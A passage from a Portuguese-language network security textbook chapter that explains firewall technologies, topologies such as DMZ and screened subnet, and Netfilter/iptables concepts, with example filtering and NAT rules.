A seguir vamos discutir em detalhes essas topologias e tecnologias.
Tecnologias de firewall
q 1 Filtros de pacotes.
 1 Filtros de pacote dinâmicos.
 1 Servidores proxy.
 1 NAT.
Filtros de pacotes
A funcionalidade mais básica que um firewall pode oferecer é chamada de filtro de pacotes, 
mecanismo de segurança de rede que permite o controle dos dados que entram, saem ou 
passam pelo ponto de proteção. Um filtro de pacote é capaz de decidir sobre a passagem ou 
não de um pacote, de acordo com as informações encontradas no cabeçalho IP. Usualmente, 
os filtros de pacotes agem sobre os seguintes campos de um pacote IP: 
 1 Endereço IP de origem (nível de rede).
 1 Endereço IP de destino (nível de rede).
 1 Porta de origem (nível de transporte).
 1 Porta de destino (nível de transporte).
 1 Flags do cabeçalho TCP (SYN e ACK).
Alguns filtros de pacotes mais avançados podem agir sobre outros campos do pacote, 
como endereços físicos (MAC Address), outras flags (ex.: RST), campos de fragmentação de 
pacotes, entre outros. Na verdade, um filtro de pacotes pode usar qualquer campo de qual-
53
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
quer um dos cabeçalhos do pacote. Usualmente, um filtro de pacotes não realiza decisões 
com base no conteúdo (dados) dos pacotes, uma vez que analisar o conteúdo do pacote 
pode ser dispendioso e tornar o processo de roteamento mais lento. Apesar disso, existem 
ferramentas que usam esse recurso, como o l7filter. A sintaxe de comandos de um filtro de 
pacotes depende da ferramenta utilizada; porém, em linhas gerais, a forma de definir as 
regras é muito semelhante. No capítulo seguinte serão vistos alguns exemplos do uso de 
ferramentas de filtros de pacotes.
Como exemplo, vamos imaginar que estamos querendo definir uma regra de filtragem que 
irá bloquear todos os pacotes provenientes da estação A (endereço IP 192.168.1.1) para o 
servidor B (endereço IP 192.168.1.2), na porta 110, utilizando o protocolo de transporte TCP. 
Relembrando os conceitos de TCP/IP, quando iniciamos uma conexão TCP, o remetente 
escolhe uma porta de origem que não esteja em uso, a partir da porta 1024. Sendo assim, 
podemos definir a seguinte regra:
Descartar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024 e 
PORTA_DESTINO = 143.
No caso, estamos usando uma sintaxe fictícia. Todos os pacotes que se enquadrem na regra 
acima serão automaticamente descartados. Os filtros de pacotes normalmente definem ainda 
uma ação padrão, caso não haja nenhuma regra indicando o que fazer com o pacote. Essa 
ação padrão se refere à estratégia de segurança denominada Atitude de Bloqueio Padrão e 
Permissão Padrão. Caso seja escolhida a atitude de bloqueio padrão, todos os pacotes que 
não estiverem explicitamente permitidos por alguma regra serão bloqueados e vice-versa. 
Lembre-se de que a atitude de bloqueio padrão é mais segura do que a de permissão padrão. 
Filtros de pacote dinâmicos
Considerando o exemplo anterior, imagine que agora necessitamos liberar o tráfego com 
destino à porta 143 TCP do servidor. Nesse caso, não basta apenas trocar a palavra DESCARTAR 
por ACEITAR. Em uma conexão TCP, temos uma série de pacotes, indo e voltando do servidor. 
Sendo ainda mais minimalista (lembre-se da estratégia de menor privilégio), temos de verificar 
se o pacote se refere ao início de uma conexão, a uma resposta do servidor ou a uma conexão 
já estabelecida. Dessa forma, podemos mudar nosso exemplo, que vai conter as seguintes 
regras para permitir todos os três pacotes referentes ao three way handshakedo protocolo TCP:
 1 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024, 
PORTA_DESTINO = 143 e flag SYN ligada (início da conexão).
 1 Aceitar se IP_ORIGEM=192.168.1.2, IP_DESTINO=192.168.1.1, PORTA_ORIGEM = 143, 
PORTA_DESTINO >= 1024 e flags SYN e ACK ligadas (retorno do servidor).
 1 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024, 
PORTA_DESTINO = 143 e flag ACK ligada.
A partir desse exemplo podemos perceber que em um ambiente mais complexo a quanti-
dade de regras aumentará bastante, tornando o ambiente complicado para gerenciar. Do 
ponto de vista do administrador de segurança, na grande maioria dos casos, ele apenas 
quer decidir se vai permitir ou bloquear uma determinada conexão. Pensando nisso, foram 
criados os filtros de pacotes dinâmicos, também chamados de stateful inspection, stateful 
firewall ou Stateful Packet Inspection (SPI). Nesse caso, o próprio filtro de pacotes mantém 
informações sobre o estado das conexões e permite automaticamente todos os pacotes 
relacionados, de modo que o administrador necessita apenas especificar a regra do pri-
meiro pacote e indicar que os pacotes relacionados serão automaticamente aceitos. 
54
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Alguns filtros de pacotes dinâmicos tratam ainda de protocolos de aplicação, cuja conexão 
é mais complexa, como, por exemplo, FTP e H.323, cuja liberação utilizando os filtros de 
pacotes comuns se tornaria complicada e provavelmente iria aceitar muito mais pacotes do 
que o necessário, por conta do comportamento dinâmico desses protocolos. 
Recentemente, alguns fabricantes têm anunciado firewalls UTM (Unified Threat Manager), 
que são firewalls com diversos recursos integrados, também chamados de firewalls all-in-one 
(tudo em um). Esses produtos normalmente integram uma série de recursos, como antivírus, 
anti-spam, VPN, filtros de conteúdo e balanceamento de carga, entre outros.
Servidores proxy
Servidores proxy são servidores que acessam algum serviço da internet em nome de uma 
estação cliente, que solicita o acesso ao proxy. Um proxy pode atuar no nível de aplicação 
(mais comum), onde para cada aplicação há um proxy diferente (ex.: proxy HTTP, proxy FTP, 
proxy H.323 etc.) ou no nível de transporte, onde há um proxy genérico para conexões TCP 
e UDP (ex.: Socks). 
Os proxies de aplicação possuem a vantagem de entender o protocolo de aplicação, de 
modo que eles são capazes de prover registros detalhados sobre os acessos realizados, 
além de permitir o controle de acesso através de parâmetros de aplicação, como bloquear 
o acesso a arquivos executáveis em conexões HTTP, controle impossível de ser realizado 
apenas com filtros de pacotes. Por outro lado, a aplicação em questão deve estar ciente 
da existência do Proxy para realizar o acesso normalmente através de um parâmetro de 
configuração, o que pode aumentar a complexidade da configuração. Outra questão a ser 
considerada é que o servidor deve ser dimensionado adequadamente para comportar as 
requisições dos clientes, de modo a não causar atrasos nas conexões.
O diagrama abaixo mostra uma típica conexão utilizando um proxy de aplicação.
Cliente A Servidor BProxy HTTP
Cliente solicita ao 
Proxy acesso a 
recurso do servidor B
Proxy entrega 
recurso ao cliente A
Proxy solicita e 
obtém recurso 
do servidor B
 
Uma vez configurado corretamente, o usuário não percebe mais a existência do Proxy de 
aplicação, de modo que tem a impressão de que as requisições são feitas diretamente ao 
servidor. O Proxy, por outro lado, possui conhecimento detalhado sobre os recursos que 
estão sendo solicitados pelo cliente.
NAT
Network Address Translation (NAT) é um recurso que permite a modificação de um ende-
reço de rede em um pacote IP durante o seu trânsito em um dispositivo de roteamento. 
O NAT pode ser utilizado em uma variedade de situações, sendo as mais comuns a “publi-
cação” de um servidor na internet e o acesso de uma rede privativa à internet.
Existem tipos diferentes de NAT, com utilidades diferentes. Inicialmente veremos os tipos de NAT 
existentes e a seguir conheceremos as suas aplicações. O NAT é definido em uma série de RFCs: 
FTP 
File Transfer Protocol é 
um protocolo de trans-
ferência de arquivos 
na internet.
H.323
Protocolo de trans-
missão de áudio e vídeo 
na internet. 
Socks
Protocolo da internet 
que permite que apli-
cações cliente-servidor 
usem transparente-
mente o serviço de 
uma rede ao firewall. 
O termo Socks vem da 
abreviação de sockets.
Figura 3.1 
Conexão com proxy 
de aplicação. 
RFC 
Request For Comments 
é um documento que 
descreve os padrões 
de cada protocolo pro-
posto para a internet, 
antes de ser conside-
rado um padrão.
55
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
 1 RFC 1631: The IP Network Address Translator (NAT).RFC 2663: IP Network Address Trans-
lator (NAT) Terminology and Considerations. 
 1 RFC 2766: Network Address Translation – Protocol Translation (NAT-PT). 
As terminologias variam de acordo com o fabricante que implementa a tecnologia, porém os 
princípios são os mesmos.
 1 SNAT – Source NAT modifica o endereço IP de origem de um pacote, utilizado normalmente 
para permitir que estações em redes privativas possam acessar a internet diretamente, 
através da modificação do endereço privativo para um endereço válido na internet.
 1 DNAT – Destination NAT modifica o endereço IP de destino de um pacote, utilizado 
normalmente para permitir que servidores em redes privativas possam ser acessados 
através da internet. 
 1 NAT estático – utiliza um endereço IP diferente para cada endereço que necessita ser 
traduzido. Também chamado de NAT um-para-um (1-1). 
 1 NAT dinâmico – traduz diversos endereços IP para um único endereço traduzido. 
Também chamado de NAT N-para-1 (N-1). Esse tipo de NAT permite que uma rede inteira 
acesse a internet utilizando um único endereço válido e muitas vezes é chamado de 
masquerading. Ele é usado por empresas que possuem poucos endereços IP. Durante as 
atividades práticas do Capítulo 3, serão vistos em mais detalhes os diferentes tipos de 
NAT e sua implementação.
Exercício de fixação 1 e 
Filtros de pacotes
Explique o que são filtros de pacotes dinâmicos.
Exercício de fixação 2 e 
Servidores proxy
O que são servidores proxy?
Topologias de firewall
qNão existe uma fórmula para se planejar um firewall, pois isso vai depender das parti-
cularidades de cada rede e da experiência do profissional encarregado. Porém, existem 
algumas arquiteturas que podem servir de base para a construção de uma solução 
completa. Nos itens a seguir veremos algumas dessas arquiteturas básicas.
Dual-Homed
qEssa é a topologia mais simples, que consiste em apenas uma máquina conectada tanto 
à rede pública quanto à rede protegida, porém com a função de roteamento desabili-
tada. Dessa forma, para a rede protegida acessar a rede pública, ela necessitará utilizar 
algum recurso presente na máquina em questão, como um Proxy ou NAT. A figura 3.2 
mostra uma topologia dual-homed. 
56
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Screened Host
qNessa arquitetura, a rede interna está conectada à internet (rede pública) através de 
um roteador com o recurso de filtros de pacotes. Esse é chamado de screening router. 
Os serviços são providos através de uma máquina da rede interna, chamada de bastion 
host (ou bastião). O bastião é a única máquina com acesso à internet, garantido através 
da configuração de filtros de pacotes no roteador. Dessa forma, as outras estações nãopossuem acesso direto, devendo utilizar os serviços disponíveis no bastion (proxies). 
Exemplos de configuração dos filtros de pacotes:
 1 Permitir que o bastião acesse a internet, utilizando os serviços permitidos pela política 
de segurança da organização.
 1 Permitir que as estações da rede interna acessem o bastião, utilizando os serviços per-
mitidos. Lembre-se de que o bastião necessita de um endereço IP válido para acessar a 
internet ou que o roteador realize NAT para permitir esse acesso. Dessa forma, apesar de 
estarem na mesma rede física, as estações necessitam acessar o roteador para alcançar 
o bastião, visto que ele se encontra em outra rede lógica. 
 1 Negar conexões das estações da rede interna para a internet.
Internet 
Roteador 
de filtragem
Estação Estação Bastion Host Estação
 
Note que o firewall corresponde nesse caso ao conjunto composto pelo bastion host e o 
screening router.
Screened Subnet
qEssa arquitetura adiciona uma camada extra de segurança em relação à anterior, através 
de uma rede extra chamada de perímetro ou Zona Desmilitarizada (DMZ). Essa rede cria 
um isolamento entre a rede interna e a internet. A vantagem principal é que os bastion 
hosts ficam em uma rede isolada, de forma que defesas extras podem ser aplicadas para 
impedir que um bastion host comprometido tenha acesso à rede interna, aplicando o 
conceito de defesa em profundidade. 
A rede DMZ fica protegida por dois roteadores, um externo ligado à internet e um interno 
ligado à rede interna. Esses roteadores devem ser configurados corretamente para per-
mitir apenas as conexões estritamente necessárias. Os bastion hosts continuam a ser o 
contato com a rede pública e possuem serviços para a rede interna, como proxies e serviços 
públicos como correio eletrônico e páginas www públicas.
Figura 3.2 
Topologia 
dual-homed.
DMZ 
DeMilitarized Zone 
é a parte da rede 
onde o nível de 
segurança é um 
pouco menor e 
onde se concentram 
os serviços públicos.
57
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Internet 
Roteador 
externo
 DMZ 
Rede interna
Roteador 
interno
Bastion
Variações
Algumas variações podem ser feitas em relação às topologias apresentadas. A seguir 
algumas variações comuns:
 1 Múltiplos bastion hosts: caso diversos serviços estejam sendo oferecidos ou haja uma 
razão para ter serviços divididos em diferentes servidores (redundância), pode-se colocar 
mais de uma máquina na rede DMZ. Lembre-se de configurar as regras de filtragem de 
acordo com os roteadores.
 1 Junção dos roteadores internos e externos: essa é uma variação muito comum, visto 
que a junção dos roteadores reduz custos. Lembre-se de que nesse caso o comprometi-
mento do roteador compromete a arquitetura inteira. 
 1 Junção do bastion host com o roteador externo: não é muito comum, pois normal-
mente a conexão à internet requer um hardware específico por conta dos requisitos 
das operadoras de telecomunicação (seriais síncronas, fibras ópticas etc.), mas pode ser 
adotado sem problemas. Não é recomendada a junção com o roteador interno, uma vez 
que, caso o bastião seja comprometido, a rede interna estará exposta.
 1 Múltiplos perímetros: outra variação comum, comum ao se referir a uma DMZ ou a uma 
extranet, rede usada para conectar outras redes externas. 
 1 Firewalls internos: usados para separar redes com maior requisito de segurança ou 
conexões que necessitem de um nível de proteção maior.
Montando uma topologia complexa
qÉ importante que se tenha em mente que não existe solução perfeita ou ideal quando se 
fala em construir um firewall. Uma topologia de segurança de perímetro depende muito 
da rede em questão, suas subdivisões, conexões com outras redes, níveis de segurança, 
conexões à internet e outras questões. A figura abaixo mostra um exemplo de topologia 
mais complexa.
Figura 3.3 
Rede DMZ 
protegida por dois 
roteadores.
58
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Internet 
Extranet 
Roteador 
externo
 DMZ 
Rede interna
Roteador 
interno 1
Roteador 
interno 2
Rede segura
Bastion
Bastion
Durante as atividades práticas será exercitada a construção de topologias de firewall.
Exercício de fixação 3 e 
Topologias de firewall
Quais são as arquiteturas de firewall?
Exercício de fixação 4 e 
Screened Subnet
Explique o que é DMZ. Sua organização possui DMZ?
Implementação de firewalls
Existem diversas soluções desenvolvidas sob o critério de licença de software livre que 
implementam o controle de acesso perimetral em redes TCP-IP. Soluções mais comuns: 
Netfilter (Iptables), para Linux; Ipfilter (IPF) e IP Firewall (IPFW), para FreeBSD; Packet Filter 
(PF), para OpenBSD, e FreeBSD. 
Ao final deste capítulo o aluno terá um resumo das principais características de cada uma 
das implementações, realizando atividades práticas de implantação de controle perimetral. 
Assim estará apto a configurar ferramentas de filtragem de pacotes, proxy HTTP e NAT.
Netfilter (Iptables)
qO Iptables é um framework capaz de realizar filtros de pacotes, tradução de endereços 
de rede e tradução de número de portas TCP e UDP, além de outros tipos de manipu-
lação de pacotes TCP/IP. 
Ele foi desenvolvido para trabalhar integrado com o Linux kernel 2.4 e 2.6. Surgiu da reescrita e 
evolução dos códigos do Ipfwadm para o Linux kernel 2.0 e do Ipchains para o Linux kernel 2.2. 
Figura 3.4 
Exemplo de topo-
logia complexa.
59
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Uma virtude do Netfilter é suportar módulos, permitindo implementações das mais simples 
às mais sofisticadas. 
O objetivo deste curso não é o de esgotar as características do Netfilter, mas sim orientar o aluno 
no entendimento de um sistema de firewall, para um possível aprofundamento futuro. 
qPrincipais características:
 1 Stateless packet filtering (IPv4 e IPv6).
 1 Stateful packet filtering (IPv4 e IPv6).
 1 Tradução de endereço e portas (IPv4).
 1 Desenvolvido para ser flexível e extensível.
 1 API de várias camadas para implementação de complementos de terceiros.
 1 Grande número de softwares adicionais (plugins) e módulos mantidos no repositório 
do Netfilter.
Antes de entrar nos comandos de configuração do Iptables, é importante conhecer alguns 
conceitos importantes envolvidos, apresentados a seguir: 
 1 Stateless é uma técnica de controle simples baseada apenas na verificação de cabeça-
lhos dos pacotes TCP/IP, não observando o estado da conexão (Three Way Handshake). 
Atualmente, o Iptables suporta verificação de pacotes TCP/IP versões 4 e 6.
 1 Statefull é uma técnica de controle de pacotes TCP/IP baseada no estado da conexão, 
mantendo tabelas com o estado das conexões e criando regras automáticas, quando 
necessário, para a volta dos pacotes. Também suporta atualmente controle de pacotes 
IPv4 e IPv6. Corresponde ao stateful inspection.
 1 Tradução de endereços IP e portas TCP ou UDP são técnicas implementadas pelo 
Netfilter que visam atender à RFC 1918. O Netfilter denomina de NAT a tradução de 
endereço IP e de NAPT a tradução de portas TCP e UDP, sendo até o momento suportado 
apenas no protocolo IPv4.
Implementação do Netfilter
A sintaxe do Netfilter pode parecer confusa no início. O objetivo da linguagem é permitir 
implementações robustas. O Netfilter permite a manipulação desde as regras mais simples 
até as mais complexas, onde é possível reduzir o volume do arquivo de configuração e faci-
litar o entendimento dos objetivos do(s) filtro(s).
Para compreender a sintaxe doNetfilter, precisamos inicialmente conhecer o significado dos 
termos e expressões de manipulação de pacotes:
 1 Drop/Deny: quando um pacote sofre Drop ou Deny, é descartado e nenhuma outra ação 
é realizada; o pacote simplesmente desaparece.
 1 Reject: quando um pacote sofre a ação Reject, é descartado e uma mensagem é enviada 
para o host origem informando seu descarte.
 1 Accept: ação contrária ao Drop ou Reject, indica ao Iptables para aceitar e encaminhar o 
pacote.
 1 State: estado específico de um pacote em uma conexão TCP/IP. Por exemplo: o primeiro 
pacote de uma conexão TCP é o pacote com a opção SYN ligada. O estado da conexão é 
conhecido através do sistema de rastreamento de conexões, que mantém uma base de 
dados com o estado de todas as conexões. Essa base fica em uma área dentro do kernel 
do Linux, sendo controlada automaticamente por ele.
API 
Conjunto de rotinas e 
padrões estabelecidos 
por um software para 
a utilização de suas 
funcionalidades por 
programas aplicativos 
que não precisam 
envolver-se nos deta-
lhes da implementação 
do software.
Kernel 
Componente central do 
sistema operacional res-
ponsável por fornecer 
os recursos computa-
cionais disponibilizados 
pelo hardware aos 
aplicativos.
60
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
 1 Chain: cadeia de conjuntos de regras que são aplicadas em momentos distintos no kernel 
do Linux. As três principais chains são INPUT, OUTPUT e FORWARD: 
 2 INPUT: utilizada quando os pacotes têm como endereço IP de destino o próprio 
endereço do firewall. 
 2 OUTPUT: utilizada quando o pacote é originado pelo firewall e sai por alguma 
interface de rede. 
 2 FORWARD: utilizada quando um pacote atravessa o firewall, não tendo como destino o 
próprio firewall. Daqui podemos verificar que as chains INPUT e OUTPUT protegem o 
próprio firewall, e a chain FORWARD protege o que estiver atrás dele.
 1 Table: o Iptables possui quatro tabelas, cada uma com propósitos específicos:
 2 Nat: utilizada para manipulação de tradução de endereços IP. Os pacotes podem ter os 
endereços de origem, destino, porta de origem e de destino alterados de acordo com 
o especificado na regra. Para a tradução de pacotes é necessário especificar apenas 
a tradução do pacote inicial da conexão, de modo que todos os pacotes seguintes 
pertencentes à essa conexão serão automaticamente traduzidos.
 2 Mangle: utilizada principalmente para manipulação de pacotes IP. É possível manipular 
o conteúdo de diferentes pacotes e seus cabeçalhos, como os campos QoS e TTL, 
entre outros.
 2 Filter: utilizada exclusivamente para filtros de pacotes, de forma a realizar DROP, LOG, 
ACCEPT e REJECT de pacotes TCP/IP, conforme foi visto.
 2 Raw: utilizada quando desejamos filtrar um pacote, mas não queremos monitorar o 
estado da conexão. Dessa forma, estamos fazendo um filtro de pacotes simples. 
 1 Match: termo utilizado quando um pacote “encaixa” em uma determinada regra; dizemos 
que o pacote “deu match” em uma determinada regra do Iptables.
 1 Target: termo utilizado para informar o que será feito com os pacotes que “derem match” 
em determinada regra; o target pode ser Accept, Drop, Reject etc.
 1 Rule: uma regra é definida como um match ou conjunto de matches de pacotes com um 
único target.
 1 Ruleset: conjunto de regras (rules) de todo o firewall, normalmente agrupado em um 
arquivo de configuração, para inicialização do Iptables.
 1 Jump: instrução ligada ao target. Se um pacote “der match” em uma instrução de jump, 
será analisado por um conjunto de regras extras, definidas no próprio jump. A sintaxe é 
similar à de target (jump em vez de target).
 1 Connection tracking: característica do firewall de analisar o estado da conexão e manter 
em uma base de dados interna. Assim, o firewall é capaz de saber a qual conexão per-
tence um pacote, aumentando de forma drástica a segurança do sistema de firewall, já 
que pacotes que não fazem parte de conexões legítimas são automaticamente des-
cartados. Essa característica tem um custo computacional elevado para o firewall, o 
que também ocorre com o Iptables, gerando a necessidade de mais recursos de CPU e 
memória do sistema.
 1 Policy: política padrão de funcionamento do firewall (default permit e default deny). Em se 
tratando de Iptables, podemos definir a policy como ACCEPT ou DROP, de acordo com a 
ação padrão que será dada a um pacote que não “der match” em nenhuma regra específica. 
61
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Modo de operação do Netfilter
qO Netfilter interage com o kernel do Linux baseado na decisão de encaminhamento de 
pacotes. O modo de funcionamento é resumido na próxima figura.
Kernel
Forward
Input Processo local Output
Tipo de 
roteamento
Entrada
Saída
Figura 3.5 
Processo de decisão 
do Netfilter.
62
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
A representação completa do funcionamento do Iptables é apresentada na Figura 3.6. 
mangle
INPUT
Routing
Decision
mangle
INPUT
filter
INPUT
Local
Process
raw
OUTPUT
mangle
OUTPUT
nat
OUTPUT
raw
PREROUTING
mangle
INPUT
Network
Network
mangle
PREROUTING
nat
PREROUTING
Routing
Decision
mangle
INPUT
mangle
POSTROUTING
nat
POSTROUTING
mangle
INPUT
mangle
FORWARD
filter
FORWARD
mangle
INPUT
filter
OUTPUT
Routing
Decision
qChains do Netfilter:
 1 PREROUTING
 1 INPUT 
 1 FORWARD
Figura 3.6 
Detalhamento 
do processo de 
encaminhamento 
do Iptables. Fonte: 
Frozentux.
63
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
q 1 OUTPUT
 1 POSTROUTING
Tabela Nat 
Consultada quando o pacote responsável pela criação da nova conexão é encontrado. 
Utilizada para roteamento de pacotes entre redes diferentes.
Tabela Mangle 
Realiza alterações especiais de maneira a auxiliar a filtragem de pacotes. Utiliza nos 
cabeçalhos dos pacotes o TOS (Type of Service) que especifica o tipo de serviço ao qual 
o pacote se destina. 
Tabela Raw 
Utilizada principalmente para configurar exceções no módulo ip_contrack do kernel. 
Primeira dentre as tabelas no núcleo do netfilter, facilita a exclusão de pacotes antes de 
serem processados na memória.
As chains do Netfilter são definidas de acordo com o momento do processamento do pacote 
pelo kernel do Linux, podendo ser:
 1 PREROUTING: nessa chain o pacote é tratado no momento em que chega à máquina, 
antes de alcançar a fase de roteamento do kernel; nesse momento, podemos tratar 
apenas os pacotes das tabelas Raw, Mangle e Nat.
 1 INPUT: nessa chain são tratados os pacotes destinados ao firewall no momento anterior à 
entrega ao sistema responsável pelo processamento desses pacotes. Nessa chain podem 
ser analisados os pacotes das tabelas Mangle e Filter. 
 1 FORWARD: nessa chain são tratados os pacotes que não são destinados ao firewall e 
serão encaminhados a outro host na rede. Nessa chain podem ser analisados os pacotes 
das tabelas Mangle e Filter.
 1 OUTPUT: nessa chain são tratados os pacotes gerados por processos do próprio host, que 
serão enviados à rede. Nessa chain podem ser analisados os pacotes das quatro tabelas.
 1 POSTROUTING: nessa chain são analisados pacotes que estão saindo do firewall e não 
sofrerão nenhum outro tipo de processamento pelo host. Nessa chain são permitidas 
manipulações apenas de pacotes das tabelas Mangle e Nat.
Exercício de fixação 5 e 
Netfilter
Explique o funcionamento do Netfilter, usando como base o Iptables.
Controle perimetral 
q 1 Controle de acessoao firewall.
 1 Controle de acesso através do firewall.
As chains INPUT e OUTPUT do Netfilter serão manipuladas para controlar o acesso ao 
firewall, como as conexões que serão permitidas ao firewall. A chain FORWARD será utilizada 
para controlar os pacotes que serão permitidos através do firewall. Dessa forma, as pri-
meiras protegem o firewall em si e a última protege as redes atrás dele.
64
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Segue um exemplo de configuração de Dual-Homed firewall utilizando Iptables, com o 
objetivo de gerar logs dos pacotes ICMP destinados ao firewall (que são encaminhados pelo 
firewall) e dos que são gerados pelo firewall; a barra invertida “\” indica que a regra continua 
na próxima linha:
iptables –P INPUT ACCEPT # Define a regra padrão permitir
iptables –P OUTPUT ACCEPT # todos pacotes que chegarem 
iptables –P FORWARD ACCEPT # ao firewall
iptables -t filter -A INPUT -p icmp --icmp-type echo-request \
-j LOG --log-prefix=”filter INPUT:”
iptables -t filter -A INPUT -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=”filter INPUT:”
iptables -t filter -A OUTPUT -p icmp --icmp-type echo-request \
-j LOG --log-prefix=”filter OUTPUT:”
iptables -t filter -A OUTPUT -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=”filter OUTPUT:”
iptables -t filter -A FORWARD -p icmp --icmp-type echo-request \
-j LOG --log-prefix=”filter FORWARD:”
iptables -t filter -A FORWARD -p icmp --icmp-type echo-reply \
-j LOG --log-prefix=”filter FORWARD:”
Os comandos são parâmetros passados para o Iptables durante a configuração das regras. 
Principais parâmetros do Iptables:
-P: utilizado para definir a política padrão. Exemplo:
Iptables –P FORWARD DROP
Esse comando especifica que a ação padrão do firewall para FORWARD (passagem) de 
pacotes será DROP (descarte os pacotes).
-t: especifica a tabela usada pelo Iptables; se não especificada, o padrão é filter (no exemplo 
acima não havia a necessidade do parâmetro –t filter). Exemplo:
iptables –t nat –L
-L: lista as regras definidas para o Iptables. Exemplo:
iptables –L
-F: (Flush) apaga todas as regras aplicadas em uma tabela. Exemplo:
iptables –t nat –F
-A: (Append) adiciona uma regra no final de uma tabela. Exemplo:
iptables –A INPUT –i eth0 –j DROP
65
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
-j: ( Jump) indica a ação ou o target da regra. Exemplo:
iptables –A INPUT –i eth0 –j ACCEPT
O conjunto de comandos apresentados consiste em apenas um subconjunto dos comandos 
existentes na ferramenta. O conjunto completo de comandos pode ser visto na man page do 
Iptables, acessível através do comando:
man iptables
Durante as atividades práticas, alguns comandos do Iptables serão exercitados.
Tradução de IP (NAT)
O Iptables tem uma tabela especial para manipulação de tradução de endereço IP nos 
pacotes TCP/IP. Essa tabela será utilizada para a realização de controle de NAT das conexões, 
sendo elas: SNAT, DNAT, NAT Estático e NAT Dinâmico, conforme apresentado no capítulo 2.
Alguns exemplos de configuração de NAT serão vistos a seguir.
SNAT 
Esse NAT foi concebido para modificar o endereço IP de origem em uma conexão TCP/
IP, como, por exemplo, alterar o endereço IP de origem de uma conexão TCP/IP de uma 
máquina da rede interna (com endereço IP reservado que não pode ser roteado pela 
internet) para um endereço público de rede IP:
# POSTROUTING statements for 1:1 NAT
# (Conexões da rede Interna para a rede de servidores)
iptables -t nat -A POSTROUTING -s 192.168.1.100 -o eth0 \
 -j SNAT --to-source 200.200.200.1
 
# POSTROUTING NAT de Um-para-Muitos
# (Conexões originadas na rede Internet)
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 –o eth0 \
 -j SNAT --to-source 200.200.200.2
Nos exemplos acima foram usados parâmetros para identificação da origem do pacote, que 
podem ser usados em qualquer regra, não somente em regras de NAT. São eles:
 1 -s: define a origem do pacote, que pode ser um único endereço IP ou uma rede, como nos 
exemplos acima. 
 1 -o: define a interface de saída do pacote. Nos exemplos acima, para serem sujeitos às 
regras, os pacotes devem sair pela interface eth0. 
Para identificação do destino, podemos usar o parâmetro –d de forma análoga, assim como 
o parâmetro –i para indicar a interface de entrada.
66
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
DNAT 
Esse NAT, justamente como sugere o nome, foi concebido para realizar a troca do endereço 
IP de destino de uma conexão TCP/IP. No exemplo a seguir, temos um servidor em uma rede 
com endereço privado, que não é roteável pela internet. Assim foi disponibilizado um ende-
reço IP público que deve ser traduzido para o endereço IP privado ao passar pelo NAT.
# (Conexões da Internet acessando servidor Interno)
iptables -t nat -A PREROUTING --dst 200.200.200.10 –p tcp \
 --dport 80 -j DNAT --to-destination 172.16.21.2
Nesse exemplo, verificamos dois novos parâmetros: –p, que indica o protocolo em questão 
(exemplos: TCP, UDP, ICMP) e –dport, que indica a porta de destino. De forma análoga, –sport 
serve para indicar a porta de origem.
NAT Dinâmico 
Diferente dos casos anteriores, onde havia traduções de endereços IP de Um para Um, ou 
que normalmente chamamos de estáticos. Há também a necessidade de tradução de vários 
endereços IP de uma rede para um único endereço IP ou um pequeno grupo de endereços 
IP. Nesse exemplo, temos uma rede local com endereços IP privados, que ao estabelecer 
conexão com a internet precisa de endereço de origem válido; para isso, todas as conexões 
TCP/IP saem com o endereço IP válido da interface externa do firewall.
# Conexões da Rede Interna para a INTERNET
iptables -t nat -A POSTROUTING –s 192.168.1.0/24 –o eth0 -j 
MASQUERADE
Packet Filter (PF) 
q 1 Ativação
 1 Controle
 1 Configuração
 2 Ação – block ou pass
 2 Direção
 2 Log
 2 Quick
 2 Família de endereço IP – inet ou inet6
 2 Protocolo
 2 Endereço de origem ou destino 
 2 Porta de origem ou destino
 2 Sinalizadores TCP
O Packet Filter (PF) foi desenvolvido no OpenBSD e é a opção padrão de firewall para essa 
versão do BSD (Berkeley Software Distribution). Foi portado para o FreeBSD a partir de julho 
de 2003 e encontra-se disponível nos Ports do FreeBSD.
BSD 
Sistema operacional 
Unix desenvolvido 
pela Universidade de 
Berkeley nos anos 70. 
Hoje não é um único 
sistema operacional, 
mas uma extensa 
família derivada do 
original. Membros 
mais conhecidos: 
FreeBSD, OpenBSD, 
NetBSD e Darwin 
(base do Mac OS X).
Ports 
Também conhecido por 
Sistema de Ports ou 
Coleção de Ports, é um 
sistema de organi-
zação dos aplicativos 
instalados no sistema 
operacional FreeBSD. 
Posteriormente foi 
migrado para outras 
plataformas, como 
OpenBSD, NetBSD 
e Mac OS X.
67
 
C
ap
ítu
lo
 3
 - 
Fi
re
w
al
l –
 C
on
ce
ito
s 
e 
Im
pl
em
en
ta
çã
o
Para instalação do PF no FreeBSD é necessário compilar o kernel do FreeBSD com suporte 
